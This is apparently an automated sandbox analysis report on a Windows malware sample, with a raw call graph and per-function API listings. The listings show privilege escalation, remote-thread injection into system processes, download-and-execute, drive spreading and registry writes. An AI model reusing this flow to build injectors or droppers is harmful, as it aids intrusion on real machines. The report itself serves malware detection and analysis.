10271->10273 10274 29dd445 lstrcpyn 10271->10274 10272->10266 10275 29dd3f5 10272->10275 10276 29dd471 7 API calls 10273->10276 10274->10276 10277 29dcc92 38 API calls 10275->10277 10276->10270 10279 29dd408 10277->10279 10279->10266 10281 29e3600 10280->10281 10282 29dccbc OpenProcess 10281->10282 10283 29dcd96 GetLastError 10282->10283 10284 29dcf43 OpenProcessToken 10282->10284 10285 29dcda5 GetVersionExA 10283->10285 10322 29dcdde 10283->10322 10286 29dcf69 GetTokenInformation 10284->10286 10284->10322 10287 29dcdea GetCurrentThread OpenThreadToken 10285->10287 10285->10322 10288 29dcf93 GetLastError 10286->10288 10286->10322 10289 29dce4f LookupPrivilegeValueA AdjustTokenPrivileges 10287->10289 10290 29dce10 GetLastError 10287->10290 10291 29dcfaa GetProcessHeap RtlAllocateHeap 10288->10291 10288->10322 10298 29dceba GetLastError 10289->10298 10299 29dcea1 CloseHandle 10289->10299 10296 29dce29 GetCurrentProcess OpenProcessToken 10290->10296 10290->10322 10297 29dcfdb GetTokenInformation 10291->10297 10291->10322 10292 29dd267 10294 29dd27d 10292->10294 10295 29dd270 CloseHandle 10292->10295 10293 29dd250 FindCloseChangeNotification 10293->10292 10300 29dd29c 10294->10300 10301 29dd286 GetProcessHeap HeapFree 10294->10301 10295->10294 10296->10289 10296->10322 10302 29dd00f LookupAccountSidA 10297->10302 10297->10322 10303 29dcec7 CloseHandle 10298->10303 10304 29dcee0 OpenProcess AdjustTokenPrivileges CloseHandle 10298->10304 10299->10322 10300->10270 10301->10300 10305 29dd063 10302->10305 10302->10322 10303->10322 10306 29dcf35 10304->10306 10304->10322 10307 29dd06e lstrcmpiA 10305->10307 10305->10322 10306->10284 10308 29dd084 lstrcmpiA 10307->10308 10309 29dd0b0 CreateMutexA 10307->10309 10308->10309 10310 29dd09a lstrcmpiA 10308->10310 10309->10322 10310->10309 10311 29dd0ca VirtualAllocEx 10310->10311 10313 29dd169 VirtualAllocEx 10311->10313 10314 29dd102 WriteProcessMemory 10311->10314 10316 29dd197 10313->10316 10313->10322 10315 29dd134 CreateRemoteThread 10314->10315 10314->10322 10317 29dd162 10315->10317 10315->10322 10318 29dd1aa lstrlen 10316->10318 10317->10313 10319 29e2ceb 10318->10319 10320 29dd1c8 WriteProcessMemory 10319->10320 10321 29dd1fc CreateRemoteThread 10320->10321 10320->10322 10321->10322 10322->10292 10322->10293 10323->9303 10325 29df030 2 API calls 10324->10325 10326 29d3d24 10325->10326 10327 29df310 2 API calls 10326->10327 10328 29d3d97 Sleep 10327->10328 10328->9319 10330 29e3600 10329->10330 10331 29d3b4e InterlockedIncrement htons 10330->10331 10332 29d3bf4 10331->10332 10333 29d2fa0 32 API calls 10332->10333 10334 29d3c0c 10333->10334 10335 29d3c17 GetTickCount 10334->10335 10336 29d3cd1 10334->10336 10337 29d3c68 10335->10337 10338 29d3c53 10335->10338 10340 29d3cfc InterlockedDecrement RtlExitUserThread 10336->10340 10342 29d3c8a 10337->10342 10345 29d32dc 10337->10345 10339 29d2fa0 32 API calls 10338->10339 10339->10337 10344 29d3ccc 10342->10344 10357 29d2cfa 10342->10357 10344->10340 10346 29e3600 10345->10346 10347 29d32e9 socket 10346->10347 10348 29d2745 5 API calls 10347->10348 10349 29d3357 10348->10349 10350 29d336d sendto 10349->10350 10351 29d346c 10349->10351 10350->10351 10354 29d3399 select 10350->10354 10352 29d351a closesocket 10351->10352 10353 29d3527 10351->10353 10352->10353 10353->10342 10354->10351 10356 29d3471 recvfrom 10354->10356 10356->10351 10358 29e3600 10357->10358 10359 29d2d07 socket 10358->10359 10360 29d2e98 10359->10360 10361 29d2d71 10359->10361 10363 29d2f90 10360->10363 10364 29d2f83 closesocket 10360->10364 10362 29d2745 5 API calls 10361->10362 10365 29d2d83 10362->10365 10363->10344 10364->10363 10365->10360 10366 29d2d99 sendto 10365->10366 10366->10360 10367 29d2dc5 select 10366->10367 10367->10360 10369 29d2e9d recvfrom 10367->10369 10369->10360 10370 29d2ed6 10369->10370 10370->10360 10372 29d2c7d 10370->10372 10373 29d2cea 10372->10373 10374 29d2ca1 10372->10374 10373->10360 10374->10373 10375 29d22ec 6 API calls 10374->10375 10375->10373 10376->9328 10446 29d5b02 10377->10446 10380 29dbad2 10380->9336 10381 29db94d InternetOpenA 10382 29db974 InternetOpenUrlA 10381->10382 10383 29dbaa6 10381->10383 10382->10383 10384 29db9a6 10382->10384 10385 29dbabc 10383->10385 10386 29dbaaf InternetCloseHandle 10383->10386 10387 29db9ac CreateFileA 10384->10387 10388 29db9ce InternetReadFile 10384->10388 10385->10380 10389 29dbac5 InternetCloseHandle 10385->10389 10386->10385 10387->10388 10393 29db9f6 10388->10393 10389->10380 10390 29dba99 CloseHandle 10390->10383 10391 29dba12 WriteFile 10391->10393 10392 29dba58 10392->10390 10393->10388 10393->10390 10393->10391 10393->10392 10395 29dbf2d GlobalAlloc ReadFile 10394->10395 10396 29dbf26 10394->10396 10397 29dbf66 lstrlen 10395->10397 10405 29dbfa2 10395->10405 10396->9336 10408 29dbf86 10397->10408 10398 29dc015 SetFilePointer WriteFile SetFilePointer SetEndOfFile CloseHandle 10399 29dc08c 10398->10399 10400 29dc080 10398->10400 10403 29dc09c DeleteFileA 10399->10403 10404 29dc092 GlobalFree 10399->10404 10400->10399 10402 29dc0b0 10400->10402 10401 29dbfd1 lstrlen 10401->10405 10406 29dc0b6 GlobalFree 10402->10406 10407 29dc0c0 lstrcpy lstrlen 10402->10407 10403->10396 10404->10403 10405->10398 10405->10401 10406->10407 10412 29dc137 10407->10412 10408->10398 10409 29dc174 CreateProcessA Sleep CreateThread 10411 29d10e5 3 API calls 10409->10411 10463 29d569f lstrcpy 10409->10463 10410 29dc162 10410->10409 10413 29dc1d6 Sleep 10411->10413 10412->10409 10412->10410 10413->10396 10415 29dc2ad 10414->10415 10416 29dc2c4 10414->10416 10417 29d42c7 2 API calls 10415->10417 10416->9334 10418 29dc2bd 10417->10418 10418->10416 10419 29dc2e0 GlobalAlloc 10418->10419 10420 29db888 20 API calls 10419->10420 10421 29dc304 10420->10421 10422 29dc316 10421->10422 10423 29dc322 lstrlen 10421->10423 10422->10416 10424 29dc58d GlobalFree 10422->10424 10425 29dc342 10423->10425 10424->10416 10426 29d42c7 2 API calls 10425->10426 10427 29dc36f 10426->10427 10428 29dc376 10427->10428 10429 29dc382 10427->10429 10469 29d4521 CreateFileA 10428->10469 10431 29d42c7 2 API calls 10429->10431 10432 29dc392 10431->10432 10433 29dc37d 10432->10433 10434 29d4521 3 API calls 10432->10434 10435 29d42c7 2 API calls 10433->10435 10434->10433 10436 29dc3bf 10435->10436 10473 29d4364 10436->10473 10438 29dc448 lstrlen 10439 29dc3fe 10438->10439 10440 29dc472 10438->10440 10439->10422 10439->10438 10439->10440 10440->10422 10441 29d5be5 10 API calls 10440->10441 10442 29dc520 10441->10442 10443 29db888 20 API calls 10442->10443 10444 29dc53a 10443->10444 10444->10422 10445 29dbe89 27 API calls 10444->10445 10445->10422 10447 29d42c7 2 API calls 10446->10447 10448 29d5b15 10447->10448 10449 29d5be2 10448->10449 10450 29d42c7 2 API calls 10448->10450 10449->10380 10449->10381 10451 29d5b30 10450->10451 10451->10449 10452 29d5b3b 10451->10452 10453 29d42c7 2 API calls 10452->10453 10454 29d5b49 10453->10454 10455 29d5b9a GetTickCount 10454->10455 10456 29d5b50 GetTickCount 10454->10456 10462 29d13e8 InterlockedExchange 10455->10462 10461 29d13e8 InterlockedExchange 10456->10461 10459 29d5b5d GetTickCount lstrlen wsprintfA 10459->10449 10460 29d5ba7 GetTickCount lstrlen wsprintfA 10460->10449 10461->10459 10462->10460 10464 29d56d3 10463->10464 10465 29d56dc GetFileAttributesA 10464->10465 10466 29d570a RtlExitUserThread 10464->10466 10467 29d56ee 10465->10467 10468 29d56f0 DeleteFileA Sleep 10465->10468 10467->10466 10468->10464 10470 29d4559 10469->10470 10471 29d455b WriteFile CloseHandle 10469->10471 10470->10433 10471->10470 10474 29d42c7 2 API calls 10473->10474 10475 29d437d 10474->10475 10476 29d43ca lstrcpyn 10475->10476 10477 29d43e2 10475->10477 10476->10477 10477->10439 10884 478f2c 10885 478fbe 10884->10885 10886 478f4a 10884->10886 10886->10885 10888 474ae8 RtlUnwind 10886->10888 10889 474b00 10888->10889 10889->10886 11087 29d1970 11088 29d197f 11087->11088 11089 29d198c wsprintfA 11088->11089 11090 29d1adf RegCloseKey 11088->11090 11091 29d19d7 11089->11091 11092 29d19e4 11089->11092 11093 29d1aec 11090->11093 11091->11092 11096 29d1a5c 11091->11096 11097 29d1a33 11091->11097 11094 29d1aad lstrlen RegSetValueExA 11092->11094 11095 29d1a8a RegSetValueExA 11092->11095 11100 29d1ada 11094->11100 11095->11100 11099 29d16fd 2 API calls 11096->11099 11098 29d16fd 2 API calls 11097->11098 11101 29d1a49 lstrcpy 11098->11101 11102 29d1a70 lstrcpy 11099->11102 11101->11092 11102->11092 10915 2a5bb0b 10918 2a5bb2d 10915->10918 10916 2a5bbfb 10917 2a5be02 LoadLibraryA 10917->10918 10918->10916 10918->10917 10920 2a5be2b GetProcAddress 10918->10920 10921 2a5be47 VirtualProtect VirtualProtect 10918->10921 10920->10918 10923 2a5be41 ExitProcess 10920->10923 10922 2a5beac 10921->10922 10922->10922 11103 29dc573 11104 29dc587 11103->11104 11105 29dc58d GlobalFree 11104->11105 11106 29dc597 11104->11106 11105->11106 10532 29d40ad 10536 29d405b 10532->10536 10533 29d42a8 Sleep 10533->10536 10534 29d4291 Sleep 10534->10536 10535 29d4169 lstrcpy 10535->10536 10536->10533 10536->10534 10536->10535 10537 29d42b8 RtlExitUserThread 10536->10537 10538 29d5be5 10 API calls 10536->10538 10539 29dc1ef 65 API calls 10536->10539 10540 29db888 20 API calls 10536->10540 10541 29dbe89 27 API calls 10536->10541 10538->10536 10539->10536 10540->10536 10541->10536 11107 29de16d 11136 29de0cb 11107->11136 11108 29de2a3 CloseHandle 11109 29de2b0 GetFileAttributesA 11108->11109 11111 29de2cc SetFileAttributesA DeleteFileA 11109->11111 11112 29de2f7 CreateFileA 11109->11112 11110 29de1f3 lstrcpy GetFileAttributesA 11115 29de21f CloseHandle CreateFileA 11110->11115 11110->11136 11137 29d5758 SHFileOperation RemoveDirectoryA 11111->11137 11114 29de326 GetSystemTime SystemTimeToFileTime 11112->11114 11120 29ddf88 11112->11120 11116 29d5618 2 API calls 11114->11116 11117 29de257 WriteFile CloseHandle SetFileAttributesA 11115->11117 11115->11136 11126 29de394 11116->11126 11117->11136 11118 29de4c3 Sleep 11118->11120 11120->11112 11120->11118 11121 29de4d3 RtlExitUserThread 11120->11121 11122 29ddc56 11 API calls 11120->11122 11131 29de007 GetDriveTypeA 11120->11131 11127 29ddf9a Sleep GetLogicalDrives 11122->11127 11124 29de3ae lstrcat 11124->11126 11125 29de3c2 lstrcat 11125->11126 11126->11124 11126->11125 11128 29dd928 20 API calls 11126->11128 11138 29d13e8 InterlockedExchange 11126->11138 11127->11120 11129 29de3e7 6 API calls 11128->11129 11129->11120 11130 29de47e WriteFile CloseHandle SetFileAttributesA 11129->11130 11130->11120 11131->11120 11132 29de04b lstrcat CreateFileA 11131->11132 11132->11109 11133 29de08d GetFileTime FileTimeToSystemTime 11132->11133 11133->11108 11133->11136 11134 29de100 ReadFile CharLowerA lstrlen 11134->11136 11135 29d42c7 2 API calls 11135->11136 11136->11108 11136->11110 11136->11134 11136->11135 11137->11120 11138->11126 10822 29d49ac 10823 29d49b6 RtlExitUserThread 10822->10823 10924 29da92f 10925 29da93e 10924->10925 10926 29da97e 10925->10926 10927 29d80da InterlockedExchange 10925->10927 10928 29da9fa 10926->10928 10931 29d80da InterlockedExchange 10926->10931 10927->10926 10929 29daa51 10928->10929 10932 29d80da InterlockedExchange 10928->10932 10976 29d13e8 InterlockedExchange 10929->10976 10931->10928 10932->10929 10933 29daa67 10934 29daae2 10933->10934 10935 29d80da InterlockedExchange 10933->10935 10936 29d7b42 InterlockedExchange 10934->10936 10938 29daaf9 10934->10938 10935->10934 10936->10938 10937 29dabd9 10977 29d13e8 InterlockedExchange 10937->10977 10938->10937 10940 29d80da InterlockedExchange 10938->10940 10940->10937 10941 29dac7a 10944 29d687e InterlockedExchange 10941->10944 10942 29dabef 10942->10941 10943 29dacb7 10942->10943 10946 29d80da InterlockedExchange 10942->10946 10945 29d867a InterlockedExchange 10943->10945 10949 29dad45 10943->10949 10944->10943 10947 29dadbe 10945->10947 10946->10941 10947->10949 10957 29d7c71 2 API calls 10947->10957 10948 29db724 FindCloseChangeNotification 10950 29db73e SetFilePointer SetEndOfFile 10948->10950 10951 29db7d4 FindCloseChangeNotification SetFileAttributesA 10948->10951 10949->10948 10956 29db71a UnmapViewOfFile 10949->10956 10961 29db6dc GlobalAlloc 10949->10961 10964 29db53c 10949->10964 10952 29db79b 10950->10952 10953 29db774 10950->10953 10954 29db7f8 DeleteFileA 10951->10954 10955 29db802 10951->10955 10959 29db7a1 GlobalFree 10952->10959 10960 29db7b2 SetFileTime 10952->10960 10953->10952 10958 29db77a WriteFile 10953->10958 10954->10955 10962 29db821 GlobalFree 10955->10962 10963 29db832 RtlLeaveCriticalSection 10955->10963 10956->10948 10967 29dade3 10957->10967 10958->10952 10959->10960 10960->10951 10961->10964 10962->10963 10965 29db84d Sleep 10963->10965 10966 29db858 10963->10966 10964->10956 10965->10966 10967->10949 10968 29d2745 5 API calls 10967->10968 10969 29db31f 10968->10969 10978 29d13e8 InterlockedExchange 10969->10978 10971 29db43c GetTickCount 10971->10949 10972 29db469 10971->10972 10979 29d13e8 InterlockedExchange 10972->10979 10974 29db46e 10974->10949 10980 29d13e8 InterlockedExchange 10974->10980 10976->10933 10977->10942 10978->10971 10979->10974 10980->10974 11139 29d1f69 11140 29d1f78 11139->11140 11141 29d1f85 wsprintfA 11140->11141 11147 29d1fea 11140->11147 11142 29d1fec RegQueryValueExA 11141->11142 11143 29d1fb1 RegQueryValueExA 11141->11143 11142->11147 11146 29d1fe5 11143->11146 11143->11147 11144 29d227d RegCloseKey 11145 29d228a 11144->11145 11148 29d2399 22 API calls 11147->11148 11149 29d224d 11147->11149 11148->11149 11149->11144 11149->11145 8947 2a5bcd0 8948 2a5bce8 8947->8948 8949 2a5be02 LoadLibraryA 8948->8949 8953 2a5be47 VirtualProtect VirtualProtect 8948->8953 8950 2a5be19 8949->8950 8950->8948 8952 2a5be2b GetProcAddress 8950->8952 8952->8950 8955 2a5be41 ExitProcess 8952->8955 8954 2a5beac 8953->8954 8954->8954 10890 48d73d 10891 48d747 __EH_prolog 10890->10891 10892 48df8f LocalAlloc 10891->10892 10893 48d752 10892->10893 10522 bd3000 10524 bd3044 GetPEB 10522->10524 10525 bd3077 CreateFileA 10524->10525 10527 bd322d 10525->10527 10528 bd3265 10525->10528 10529 bd3246 WriteFile 10527->10529 10530 bd3244 10527->10530 10531 bd3255 FindCloseChangeNotification WinExec 10529->10531 10530->10531 10531->10528 10763 29dda22 10764 29dda31 10763->10764 10765 29ddb9e 10764->10765 10766 29dda3e 10764->10766 10796 29d13e8 InterlockedExchange 10765->10796 10792 29d13e8 InterlockedExchange 10766->10792 10769 29ddba3 10770 29ddbbe 10769->10770 10771 29dd7cf 10 API calls 10769->10771 10771->10770 10772 29ddb99 10773 29dda43 10773->10772 10793 29d13e8 InterlockedExchange 10773->10793 10775 29dda8e 10776 29ddaac lstrcpy 10775->10776 10777 29dd7cf 10 API calls 10775->10777 10778 29dd6fc InterlockedExchange 10776->10778 10779 29ddaa9 10777->10779 10780 29ddade 10778->10780 10779->10776 10781 29d42c7 2 API calls 10780->10781 10782 29ddaf2 10781->10782 10783 29ddb88 lstrcat 10782->10783 10794 29d13e8 InterlockedExchange 10782->10794 10783->10772 10785 29ddb02 10786 29ddb14 lstrcat 10785->10786 10787 29ddb26 lstrcat 10785->10787 10786->10787 10795 29d13e8 InterlockedExchange 10787->10795 10789 29ddb3d 10790 29ddb4f lstrcat 10789->10790 10791 29ddb61 lstrlen wsprintfA 10789->10791 10790->10791 10791->10783 10792->10773 10793->10775 10794->10785 10795->10789 10796->10769

                                                            Executed Functions

                                                            Function 029D9652 Relevance: 93.0, APIs: 40, Strings: 12, Instructions: 1977stringCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                              • Part of subcall function 029D13E8: InterlockedExchange.KERNEL32(029E40B8,?), ref: 029D1406
                                                            • lstrcpy.KERNEL32(00000000,?), ref: 029D99C1
                                                            • CharUpperA.USER32(00000000), ref: 029D99CE
                                                              • Part of subcall function 029D42C7: tolower.MSVCRT ref: 029D431E
                                                              • Part of subcall function 029D42C7: tolower.MSVCRT ref: 029D4330
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: tolower$CharExchangeInterlockedUpperlstrcpy
                                                            • String ID: .adata$2$CreateFileA$CreateFileW$GetProcAddress$M$$OpenFile$P$PE$_lopen$d$d
                                                            • API String ID: 515353746-2557192021
                                                            • Opcode ID: a4d4a6579775d3f40a51a981973e9c46f832d10604a998c8502817a35ad4368e
                                                            • Instruction ID: be77442d133c04ac8e8b984001299a5dbacf8a7712674b4e30493288ac7b7fd6
                                                            • Opcode Fuzzy Hash: a4d4a6579775d3f40a51a981973e9c46f832d10604a998c8502817a35ad4368e
                                                            • Instruction Fuzzy Hash: 612336B5D01228DFDB24CF54CC90BE9B7B6BF88305F0885E9E50AAB280D7359A95CF54
                                                            Function 029DCC92 Relevance: 75.6, APIs: 38, Strings: 5, Instructions: 382memorythreadCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 537 29dcc92-29dcd90 call 29e3600 OpenProcess 540 29dcd96-29dcd9f GetLastError 537->540 541 29dcf43-29dcf5b OpenProcessToken 537->541 542 29dcda5-29dcddc GetVersionExA 540->542 543 29dcf37-29dcf3e 540->543 544 29dcf5d-29dcf64 541->544 545 29dcf69-29dcf85 GetTokenInformation 541->545 547 29dcdde-29dcde5 542->547 548 29dcdea-29dce0e GetCurrentThread OpenThreadToken 542->548 546 29dd247-29dd24e 543->546 544->546 549 29dcf87-29dcf8e 545->549 550 29dcf93-29dcf9c GetLastError 545->550 555 29dd267-29dd26e 546->555 556 29dd250-29dd25d FindCloseChangeNotification 546->556 547->546 551 29dce4f-29dce9f LookupPrivilegeValueA AdjustTokenPrivileges 548->551 552 29dce10-29dce1b GetLastError 548->552 549->546 553 29dcf9e-29dcfa5 550->553 554 29dcfaa-29dcfcd GetProcessHeap RtlAllocateHeap 550->554 563 29dceba-29dcec5 GetLastError 551->563 564 29dcea1-29dceb5 CloseHandle 551->564 559 29dce1d-29dce24 552->559 560 29dce29-29dce41 GetCurrentProcess OpenProcessToken 552->560 553->546 561 29dcfcf-29dcfd6 554->561 562 29dcfdb-29dd001 GetTokenInformation 554->562 557 29dd27d-29dd284 555->557 558 29dd270-29dd277 CloseHandle 555->558 556->555 565 29dd29c-29dd2af 557->565 566 29dd286-29dd296 GetProcessHeap HeapFree 557->566 558->557 559->546 560->551 567 29dce43-29dce4a 560->567 561->546 568 29dd00f-29dd055 LookupAccountSidA 562->568 569 29dd003-29dd00a 562->569 570 29dcec7-29dcedb CloseHandle 563->570 571 29dcee0-29dcf27 OpenProcess AdjustTokenPrivileges CloseHandle 563->571 564->546 566->565 567->546 572 29dd057-29dd05e 568->572 573 29dd063-29dd06c 568->573 569->546 570->546 574 29dcf29-29dcf30 571->574 575 29dcf35 571->575 572->546 576 29dd0cc-29dd0d3 573->576 577 29dd06e-29dd082 lstrcmpiA 573->577 574->546 575->541 576->546 578 29dd084-29dd098 lstrcmpiA 577->578 579 29dd0b0-29dd0c5 CreateMutexA 577->579 578->579 580 29dd09a-29dd0ae lstrcmpiA 578->580 579->546 580->579 581 29dd0ca-29dd100 VirtualAllocEx 580->581 583 29dd169-29dd191 VirtualAllocEx 581->583 584 29dd102-29dd126 WriteProcessMemory 581->584 587 29dd22e-29dd235 583->587 588 29dd197-29dd1f1 call 29e2ceb lstrlen call 29e2ceb WriteProcessMemory 583->588 585 29dd128-29dd12f 584->585 586 29dd134-29dd154 CreateRemoteThread 584->586 585->546 589 29dd156-29dd15d 586->589 590 29dd162 586->590 587->546 595 29dd1fc-29dd21c CreateRemoteThread 588->595 596 29dd1f3-29dd1fa 588->596 589->546 590->583 597 29dd21e-29dd225 595->597 598 29dd227 595->598 596->546 597->546 598->587
                                                            APIs
                                                            • OpenProcess.KERNEL32(001F0FFF,00000000,0000000A), ref: 029DCD7D
                                                            • GetLastError.KERNEL32 ref: 029DCD96
                                                            • GetVersionExA.KERNEL32(00000094), ref: 029DCDCF
                                                            • GetCurrentThread.KERNEL32 ref: 029DCDFF
                                                            • OpenThreadToken.ADVAPI32(00000000), ref: 029DCE06
                                                            • GetLastError.KERNEL32 ref: 029DCE10
                                                            • OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 029DCF53
                                                            • FindCloseChangeNotification.KERNEL32(00000000), ref: 029DD257
                                                            • CloseHandle.KERNEL32(?), ref: 029DD277
                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 029DD28F
                                                            • HeapFree.KERNEL32(00000000), ref: 029DD296
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: OpenProcess$CloseErrorHeapLastThreadToken$ChangeCurrentFindFreeHandleNotificationVersion
                                                            • String ID: P$SeDebugPrivilege$local service$network service$system
                                                            • API String ID: 134594290-3830299594
                                                            • Opcode ID: 6e99165b6379e1b972b7ad47fcfe3dd4eaddfb769a4cae07b1190d9c0aaa773c
                                                            • Instruction ID: 36d4fd18e6b4800f9901acd8dbe4b35ad9f5b168f0a074e690d4c830a8588f1c
                                                            • Opcode Fuzzy Hash: 6e99165b6379e1b972b7ad47fcfe3dd4eaddfb769a4cae07b1190d9c0aaa773c
                                                            • Instruction Fuzzy Hash: 8DF13D71D40328EBEB24CFA4CC48BEE7778BB48714F108699E615A71C0DBB49A95DF60
                                                            Function 029DD2B0 Relevance: 45.7, APIs: 24, Strings: 2, Instructions: 153stringsynchronizationprocessCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            APIs
                                                            • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 029DD2E1
                                                            • Process32First.KERNEL32(00000000,00000128), ref: 029DD320
                                                            • lstrlen.KERNEL32(?), ref: 029DD341
                                                            • lstrcpyn.KERNEL32(00000000,?,00000040), ref: 029DD35C
                                                            • lstrcpy.KERNEL32(00000000,?), ref: 029DD372
                                                            • CharLowerA.USER32(00000000), ref: 029DD37F
                                                            • lstrlen.KERNEL32(00000000,M_%d_,0000000A), ref: 029DD398
                                                            • wsprintfA.USER32 ref: 029DD3A6
                                                            • CreateMutexA.KERNEL32(00000000,00000000,00000000), ref: 029DD3BA
                                                            • GetLastError.KERNEL32 ref: 029DD3C6
                                                            • ReleaseMutex.KERNEL32(?), ref: 029DD3D9
                                                            • CloseHandle.KERNEL32(?), ref: 029DD3E6
                                                            • Process32Next.KERNEL32(00000000,00000128), ref: 029DD419
                                                            • lstrlen.KERNEL32(?,00000000,00000128), ref: 029DD43A
                                                            • lstrcpyn.KERNEL32(00000000,?,00000040), ref: 029DD455
                                                            • lstrcpy.KERNEL32(00000000,?), ref: 029DD46B
                                                            • CharLowerA.USER32(00000000), ref: 029DD478
                                                            • lstrlen.KERNEL32(00000000,M_%d_,0000000A), ref: 029DD491
                                                            • wsprintfA.USER32 ref: 029DD49F
                                                            • CreateMutexA.KERNEL32(00000000,00000000,00000000), ref: 029DD4B3
                                                            • GetLastError.KERNEL32 ref: 029DD4BF
                                                            • ReleaseMutex.KERNEL32(?), ref: 029DD4D2
                                                            • CloseHandle.KERNEL32(?), ref: 029DD4DF
                                                            • CloseHandle.KERNEL32(00000000), ref: 029DD510
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: Mutexlstrlen$CloseCreateHandle$CharErrorLastLowerProcess32Releaselstrcpylstrcpynwsprintf$FirstNextSnapshotToolhelp32
                                                            • String ID: M_%d_$M_%d_
                                                            • API String ID: 3105503624-485321427
                                                            • Opcode ID: 2e123acda44e22cd3f79ac0c25d632356181badc2af333272d8b32bb2cd94235
                                                            • Instruction ID: a3919d90f92a125a436709370c5437859fe3c2b1da193a268b83d48a0c88bd27
                                                            • Opcode Fuzzy Hash: 2e123acda44e22cd3f79ac0c25d632356181badc2af333272d8b32bb2cd94235
                                                            • Instruction Fuzzy Hash: 245155B5C403289BDB24DB60DD88BEA7778BB58301F0089D5E649A6140DFB4EAD9CF60
                                                            Function 029DBADD Relevance: 38.8, APIs: 20, Strings: 2, Instructions: 264stringsleepfileCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 755 29dbadd-29dbb6a Sleep 756 29dbb6c-29dbb81 lstrcat 755->756 757 29dbb84-29dbbb8 lstrcpy CharLowerA call 29d42c7 755->757 756->757 760 29dbbba-29dbbd1 757->760 761 29dbbd6-29dbc00 lstrcat FindFirstFileA 757->761 762 29dbe78-29dbe88 760->762 763 29dbe3c-29dbe5c 761->763 764 29dbc06-29dbc19 FindNextFileA 761->764 769 29dbe5e-29dbe65 FindClose 763->769 770 29dbe6b-29dbe76 Sleep 763->770 764->763 765 29dbc1f-29dbc29 764->765 767 29dbc2d-29dbc36 765->767 768 29dbc2b 765->768 771 29dbc3d-29dbc44 767->771 772 29dbc38 767->772 768->764 769->770 770->762 773 29dbc6d-29dbc85 lstrlen 771->773 774 29dbc46-29dbc67 Sleep 771->774 772->763 775 29dbc9b-29dbce2 lstrcat lstrlen CharUpperA lstrlen 773->775 776 29dbc87-29dbc96 773->776 774->773 777 29dbd78-29dbd8b 775->777 778 29dbce8-29dbcfe lstrcmpiA 775->778 776->764 779 29dbe28-29dbe37 777->779 780 29dbd91-29dbd9b 777->780 781 29dbd17-29dbd1e 778->781 782 29dbd00-29dbd15 lstrcmpiA 778->782 779->764 780->779 783 29dbda1-29dbdf2 lstrcpy lstrlen lstrcmpiA 780->783 784 29dbd29-29dbd38 781->784 782->777 782->781 785 29dbe0c-29dbe25 783->785 786 29dbdf4-29dbe04 call 29dbadd 783->786 787 29dbd68-29dbd75 call 29d9652 784->787 788 29dbd3a-29dbd56 call 29d42c7 784->788 785->779 794 29dbe09 786->794 787->777 795 29dbd58-29dbd63 call 29d5719 788->795 796 29dbd66 788->796 794->785 795->796 796->784
                                                            APIs
                                                            • Sleep.KERNEL32(?,?,?,?,00000000,Function_00013630,02A50240,000000FF,?,029DCB1B,00000003,00000000,00000000,00000000), ref: 029DBB57
                                                            • lstrcat.KERNEL32(?,02A55658), ref: 029DBB75
                                                            • lstrcpy.KERNEL32(00000000,?), ref: 029DBB8F
                                                            • CharLowerA.USER32(00000000,?,?,00000000,Function_00013630,02A50240,000000FF,?,029DCB1B,00000003,00000000,00000000,00000000), ref: 029DBB9C
                                                            • lstrcat.KERNEL32(?,02A5565C), ref: 029DBBDF
                                                            • FindFirstFileA.KERNEL32(?,?), ref: 029DBBED
                                                            • FindNextFileA.KERNELBASE(000000FF,?), ref: 029DBC11
